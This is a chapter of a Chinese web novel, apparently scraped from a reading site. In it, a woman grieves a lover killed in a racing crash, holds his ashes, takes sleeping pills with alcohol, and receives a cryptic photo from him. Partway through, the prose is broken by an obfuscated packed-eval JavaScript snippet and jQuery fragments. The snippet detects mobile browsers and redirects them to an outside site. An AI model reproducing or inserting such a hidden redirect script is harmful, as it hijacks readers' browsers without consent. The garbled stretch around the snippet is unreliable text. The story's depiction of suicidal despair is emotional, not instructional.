“你醒了？”穿白大褂的医护人员问道，“还有什么不舒服的吗？”
秋原挣扎着起身，他死了事实一下子扑面而来，压得她喘不过气来，头痛欲裂，她说着没事下了救护车。
她昏迷没多久，现场的隔离还没撤掉，还有穿警服的人走动。她没找到江岩和乔树，拉住走过的一个警察。
“车祸死掉的那个人呢？”
“你是谁啊？怎么在这儿？”
“我……我是家属……”她声音低了下去。
“家属？你是死者家属？尸体已经带回去了，等确定不是人为，就可以把人领回去了。”
“不是人为？还有可能是人为？”
“这些人街头赛车危害社会秩序已经不是一次两次了，借着赛车名义的杀人案也不在少数，你还是等通知吧。”警察说完要走。
“哎，和他一起的人，是周星耀吗？”
“你知道得还挺多哎？”
“他，没死？”
“送医院抢救了，还不知道情况。”
秋原回到住所，站在殷司源的卧室前，整个房子是他的，卧室是他的，可他人却不在，她走到床边，房间规整得看不出他曾生活过的痕迹。
她按响了电话，“喂是我。真的是他吗？”
“是他。”
过了好一会儿，她才说话，“周星耀呢？”
“重伤，还没脱离危险。”
“是他害死他的吗？”
“有这个可能。”
“我什么时候……”
“你知道他吸毒吗？”
秋原鼻子一酸，差点哭出声，“他不吸毒，是被人陷害的。”
“那你做好心理准备。”
“你什么意思？他吸不吸毒跟他死有什么必然联系吗？你是警察，抓坏人不是你应该干的吗？”
“你冷静点。”
秋原稳了稳情绪。
“你还相信我吗？”
听到这句话，秋原沉默了，她抹去脸上的泪水，冷冷地说：“信也好，不信也好，他不都死了。”
这下轮到对面沉默了。
“对不起。”秋原匆忙挂了电话。
寂静无比的深夜，安眠药洒了一桌子，酒瓶子东倒西歪，秋原举着酒瓶，踉跄着走到卧室门口，眼中是无限的悲伤，轻声说道：“你那么混蛋的一个人，怎么能比我先死呢？不是说王八活千年吗？不是说祸害留万年吗！你倒是活给我看看啊！你不是让我等你的吗？混蛋！你们殷家没人了你知道吗！”说完她弯下腰掩面痛哭。
她趴在床上，在药物和酒精的作用下沉沉睡了过去。在他曾经生活过的房间，曾睡过的床，盖过的被子，都在诉说着他曾活着的事实，可眼前他不在了，他走了，再也不会回来了。
离开曾是她干的事，留下所有烂摊子仓皇而逃，可是报应？现下他潇潇洒洒地走了，连告别都没跟她说过，倒真像是他的作风。
乔树给她打电话时，她不知道自己昏睡了有多久，睡睡醒醒，安眠药和酒精是好东西，愈发觉得活着果真没意思。没人在意她，连恨她的人都没有了，又何必存在着呢，她颓废地呆坐在床上，抬头望着窗帘缝中透过的光，微弱而渺茫，下一刻就被无尽透不过光的黑暗所吞噬。她感觉自己要腐烂了，从内里散发出恶臭的死亡味道，她觉得自己要不行了，不可抑制地思念殷司源，生动存在的人，现在只剩下一个名字，一盒灰烬。
尸体火化了，通知她去取。
秋原抱着盒子，险些要站立不住。调查得怎么样，乔树什么都没跟她讲。
走了没多远，秋原觉得自己被掏空，倦意来了怎么也挡不住，就近找了个公交站，瘫软地坐下。
她把盒子放在一旁，疲倦地闭上双眼，感觉□□不再属于自己。
不知什么挡住了光，她累得不想睁眼，过了会儿才抬起眼皮，看到一个人影。
“这就是他的骨灰？”
猫简单束起头发，一身黑色休闲衣不知刻意还是无意。
秋原看了眼盒子，“嗯”这个字浑浊在口腔中，冗长而晦涩。
“警察说是赛车超速发生的意外，车烧了，人……”
“不用说了，不过酒肉朋友。”他说得格外冷静，听不出多余的感情，好像那盒子里装的，不过是不知名的点心，他的视线从骨灰盒上收回，递给她一个档案袋，“这是他给你的，他说其他人可能死了，殷思林还在。他给你新办了身份证，还有他名下的资产全都转到你这儿了，别墅的钥匙也在里面，它以后归你了。”
秋原伸出双手，却不敢碰到，终于忍不住蒙面大哭，“我不要我不要，我不要这些，我只要他还活着。”
路过的人无不诧异看着奇怪的两人，猫把档案袋放在她旁边，没人注意到他摸了一下骨灰盒，不动声色地走了。
秋原抱着骨灰盒，像是具没有灵魂的躯壳，跌跌撞撞不知险些撞到多少人。
“姐姐，我可算找到你了，请我吃冰淇淋吧。”
秋原没理她，径直走了。
阿新小跑几步挡在她面前，“姐姐你怎么还伤心呢？这人都死了多少天了，骨灰都臭了。”
看她依旧不理她，反而绕过她走了，阿新伸手拉住她，“姐姐，死都死了，赶紧丢了我们去吃冰淇淋吧，拿着这玩意儿多晦气。”
“你知道什么！”秋原怒吼道，“你知道他是谁吗就说这样的话！”
阿新嘀咕着不服气，秋原摆脱她走了。
他是谁呢？她又是谁呢？她又有什么资格说那些话，她又有什么资格拿着他的骨灰。意识的漩涡一发不可收拾，搅扰得她无处遁形。
秋原侧身蜷缩在床上，抱着骨灰盒，地上散落的是猫给她的档案袋里的东西，厚厚一摞各种文件证明，还有钥匙。
她手里握着身份证，殷思林的身份证，她的身份证。
沈泠溺水死了，秋原横死街头，最后接纳她的，竟是她不顾一切想逃离的殷家。她也有合法的身份了，不是被抛弃的人，是法律认可的，是有人认可的身份，可最后认可她的人却不在了。
她哭着泪水干了又湿，紧闭着窗户和房门，想留下残存的熟悉的气息，可她抱着坚硬棱角分明的骨灰盒，怎么也接受不了，他就在她身边，可为何是这样的姿态。
门外动静响了好久，最后也归于平息，秋原重新闭上了双眼，屏蔽了外界的一切。微弱的声响，秋原的意识浅显地被拉回现实，但她并没有在意，直到卧室门被打开，蒙着头的被子被掀开，窗帘被人拉开，刺眼的光让她无处遁形。
秋原花了好一会儿才适应了光线，模糊看到于果站在窗户前，她躺着不动，睁开的眼也没有神，像是没有灵魂的木偶。
于果皱眉看着她这副颓废的模样，怀里还抱着个盒子。
“那是什么？”
“是他啊，你不认识他了吗？”她的嗓子干哑，声音很难听，圈着盒子的胳膊不自觉地收缩。
“他死了你就这么糟践自己？我看你跟他关系也没好到这个地步。”
秋原的眼睛渐渐有了神，消化了她的话，转而是愤怒，坐起身来，“你害他还不够吗？他死了还来说风凉话。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406172|160358||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“我是害他一回，可你也别忘了他的手也干净不到哪儿去。”
“你！”几天未进食秋原身体格外虚弱，一时气急昏了过去。
“又一个蠢货。”于果嘀咕了一句。
秋原醒来，天已经黑了，身上盖着被子，摸不到盒子，猛地起身四下寻找，好在在床头柜上找到了，她拿起盒子放在腿上，这才恢复了平静。
“你醒了？我煮了粥。”于果端着粥走进来，碗放在床头柜上。
“你来这儿做什么？”
“你放心，既然我害了他一回，他现在死了，我也不追究了。”
秋原瞥了眼她放下的粥碗，心想要是毒药，那便一了百了，端起来往嘴里送。
“你放心，没毒的，我当时放你走，现在也不会害你，更何况他都死了。”
“他死了，你如愿了，开心吗？”
于果看她这样，很想给她一巴掌，但想来不能对女孩子动手，更何况眼前这人确实受刺激不少。
“你想他？当初不是拼了命逃走的吗，怎么又对他恋恋不舍的。”
秋原放下碗，拿起安眠药的倒在手心上，“没什么，是我活该。”
于果也没拦她，“等你睡到再也不想在床上待着的那一天再清醒吧。”她走到门口又停了下来，“不知谁送的快递，在外面桌上，收件人殷思林。”
秋原本来没理会她的话，但听到收件人名字，想来有可能是他，扑腾跳下来床，赤脚跑了出来，她跪在地毯上，一单薄的信封，不知道的还以为是空的。
没有寄件人，收件人是殷思林。
她小心翼翼地拆开，是一张相片。主人公是她，那天见过蛇尾回来，被一女孩子撞掉了眼镜，熙熙攘攘的步行街上，唯独她静立着，眼神空洞而迷茫的望着镜头，而她根本没看到镜头以及镜头背后的人。
相片背后写着字。
我实现你想要的，你跟我回家，好吗。
等我。
没有署名，利落的笔锋只留下简单的几个字。她抓着相片的手止不住的抖，心被挖走一般痛不欲生。她无声而苦闷的人生，孤单而无助，在风雨飘摇中忍隐地漂浮了二十多年，终于有人唤她回家了，在这一刻所有过往化为决堤的洪水，嗷嚎大哭，像是想把过往的委屈和不甘，痛苦和心酸全部都倾泻而出。
房间里静悄悄的，只有她的哭声，撕心裂肺，划破了漆黑无尽的夜。这间房子外，加班的女人拖着疲惫的身体等待末班车，醉酒的男人说着决绝的情话，便利店叮咚叮咚的门铃响，值夜班的收银员目送客人离去。
悲伤太浅了，生活依旧再正常不过，他们不知道有人曾死去，有人为此痛不欲生，也不知道加班的女人回到怎样的家，不知道醉酒男人说的爱有多长保质期，不知道便利店的生意怎么样，值夜班的收银员工资会不会多一些。
这世上的故事太多太多了，悲伤是生活的基调，每个人的苦都各不相同，深夜碰撞的响铃，是谁与谁的悲伤遇见，但没有人能化解彼此的悲伤，人生是自己的，悲伤也是，吃到嘴里的苦才是生活，每个人都是芸芸蜉蝣，能做的只有接受。
悲伤中会生出怎样的花，黎明会来，新一天会来，相信小行星撞地球，还不如相信生活总会继续下去，悲伤的果是什么味道？我希望你永远都无需品尝。
秋原睡了醒醒了又睡，接连的梦境怎么也挣脱不开，她有很多机会可以醒来，但睁眼望着空洞而花白的天花板，悲伤就汹涌而来将她淹没，心痛得无法呼吸，她宁愿选择沉浸在疲惫不堪恐惧不已的梦境中，也不想醒来面对他死了的现实。